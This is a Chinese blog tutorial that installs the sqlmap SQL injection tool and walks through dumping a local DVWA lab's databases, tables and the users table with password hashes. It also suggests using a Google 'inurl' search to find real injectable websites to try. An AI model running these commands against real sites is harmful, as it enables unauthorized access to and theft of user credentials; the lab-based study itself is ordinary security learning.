博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
SqlMap 初尝试
阅读量:6842 次
发布时间:2019-06-26

本文共 2118 字,大约阅读时间需要 7 分钟。

SqlMap 初尝试

什么是SqlMap

Sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点:

完全支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。

完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。

在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。

支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。

支持自动识别密码哈希格式并通过字典破解密码哈希。

支持完全地下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载某一列中的部分数据,这完全取决于用户的选择。

支持在数据库管理系统中搜索指定的数据库名、表名或列名

简单来说SqlMap就是一中SQL注入的工具,能实现对一些网站的SQL注入和获取数据库信息。

如何安装SqlMap

因为SqlMap是基于python,所以需要先安装本地的python环境

Python2.7.11下载:

下载地址:https://www.python.org/downloads/
  • 安装步骤可以查看其它的python的安装教程,蛮简单。
  • 安装完成后,重启系统,查看是否生效,“Win+R”,输入cmd,然后输入python

图片名称

通过 http://www.sqlmap.org/ 下载SqlMap的zip包
  • 通过在桌面创建快捷方式,实现桌面的SqlMap快捷键。

图片名称

  • 输入 cmd

图片名称

  • 输入自定义名称

图片名称

  • 将sqlmap的文件夹拷贝到python下

修改起始位置如下,修改为python下的sqlmap的地址

图片名称

  • 直接启动,如下
    image

SqlMap的实验

通过googel的inurl:"/.asp?id=" 搜索一些可被注入的网站进行尝试

我尝试的是通过DVWA的SQL 盲注入。

如果有兴趣,可以尝试先从DVWA的靶机开始。,DVWA是一款不错Web渗透的入门靶机

通过 sqlmap.py -u "http://127.0.0.1:8081/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=3pdq351sispu8cugkmpu7afhi4" --batch "实现对靶机的验证看能否注入攻击

ps:--batch 是指之后所有的选择参数都是默认的选项。

image

根据图片显示攻击可以注入,并获取到了后端的配置信息,以及将其内容输出成为了一个文档

image

测试成功,通过 --dbs命令查看后台的Databases,ps 因为 --batch为默认参数选择,所以必需为最后一个参数指令 。

根据后台显示以下几个databases,因为网站为dvwa,所以选中dvwa数据库,查看tables分布

[*] dvwa[*] information_schema[*] mysql[*] performance_schema[*] test

image

通过参数 -D 指定database 通过 --tables 显示所有的table ,如下图有两个表,因为要有攻击性,所以选择 users的表

+-----------+| guestbook || users     |+-----------+

image

-T参数指定表为users,--columns查看该表的所有列,查看到users表的表结构有这8个字段组成

[8 columns]+--------------+-------------+| Column       | Type        |+--------------+-------------+| user         | varchar(15) || avatar       | varchar(70) || failed_login | int(3)      || first_name   | varchar(15) || last_login   | timestamp   || last_name    | varchar(15) || password     | varchar(32) || user_id      | int(6)      |+--------------+-------------+

image

通过 --dump显示出所有的内容

image

如果字段名过多,可以尝试通过 -C "user,password" 来实现指定字段的筛选

image

但是所有的数据不可能会在命令行上看,这样很不不方便。没关系,sqlmap在你执行 --dump命令时,已经将数据文件下载到了本地,可以随时查看文件数据,文件保存为CSV类别。

image

以上就是SqlMap的简单使用,至于为什么要学习这个攻击的技术,因为进攻是最好的防守啊,学会了如何攻击,才知道如何防御别人的攻击。

你可能感兴趣的文章
mysql 存储emoji表情
查看>>
10年测试总监经验分享,你与优秀工程师的距离!
查看>>
2019年在哪里找好的高层次人才扶持政策?
查看>>
解决代码报红:Cannot resolve symbol 'xxx'
查看>>
第71节:Java中HTTP和Servlet
查看>>
Linux开源CommunityBridge平台 提供资金、安全以及人员三项关键
查看>>
Python爬虫入门教程 5-100 27270图片爬取
查看>>
Day1:html和css
查看>>
开源如何在云上存活?
查看>>
Android 网络基础之 HTTP
查看>>
ES6实现继承
查看>>
有擎企业系统v1.0.0 积木式搭建网站,页面构建更灵活
查看>>
小葵花妈妈课堂开课了:《Handler Looper Message 浅析》
查看>>
26.Azure备份服务器(下)
查看>>
Redhat 5.7登陆后提示证书丢失
查看>>
Python基础学习代码之面向对象编程
查看>>
我的友情链接
查看>>
Oracle Data Guard 理论知识(二)
查看>>
用wget一次下载所有链接, 下载文件夹
查看>>
Collect logs from the Windows servers
查看>>